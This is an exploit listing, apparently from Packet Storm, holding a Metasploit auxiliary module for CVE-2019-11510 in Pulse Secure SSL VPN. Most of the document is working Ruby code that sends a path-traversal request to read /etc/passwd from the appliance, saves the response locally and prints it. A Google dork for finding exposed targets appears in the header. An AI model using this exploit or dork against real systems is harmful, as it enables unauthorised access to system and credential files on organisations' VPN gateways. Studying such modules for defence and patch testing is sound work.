Pulse Secure SSL VPN 8.1R15.1 / 8.2 / 8.3 / 9.0 Arbitrary File Disclosure

This Metasploit module exploits Pulse Secure SSL VPN versions 8.1R15.1, 8.2, 8.3, and 9.0 which suffer from an arbitrary file disclosure vulnerability.


MD5 | 92b2a1881666fc4bc0c0655e5585cfa2

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# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510 
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Post::File
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Pulse Secure - System file leak',
      'Description'    => %q{
        Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
        This exploit reads /etc/passwd as a proof of concept
        This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
      },
      'References'     =>
          [
              [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
          ],
      'Author'         => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
      'License'        => MSF_LICENSE,
       'DefaultOptions' =>
          {
            'RPORT' => 443,
            'SSL' => true
          },
      ))

  end


  def run()
    print_good("Checking target...")
    res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)

    if res && res.code == 200
      print_good("Target is Vulnerable!")
      data = res.body
      current_host = datastore['RHOST']
      filename = "msf_sslwebsession_"+current_host+".bin"
      File.delete(filename) if File.exist?(filename)
      file_local_write(filename, data)
      print_good("Parsing file.......")
      parse()
    else
      if(res && res.code == 404)
        print_error("Target not Vulnerable")
      else
        print_error("Ooof, try again...")
      end
    end
  end
  def parse()
    current_host = datastore['RHOST']

      fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
      words = 0
      while (line = fileObj.gets)
        printable_data = line.gsub(/[^[:print:]]/, '.')
        array_data = printable_data.scan(/.{1,60}/m)
        for ar in array_data
          if ar != "............................................................"
            print_good(ar)
          end
        end
        #print_good(printable_data)

    end
    fileObj.close
  end
end

Source: packetstormsecurity.com
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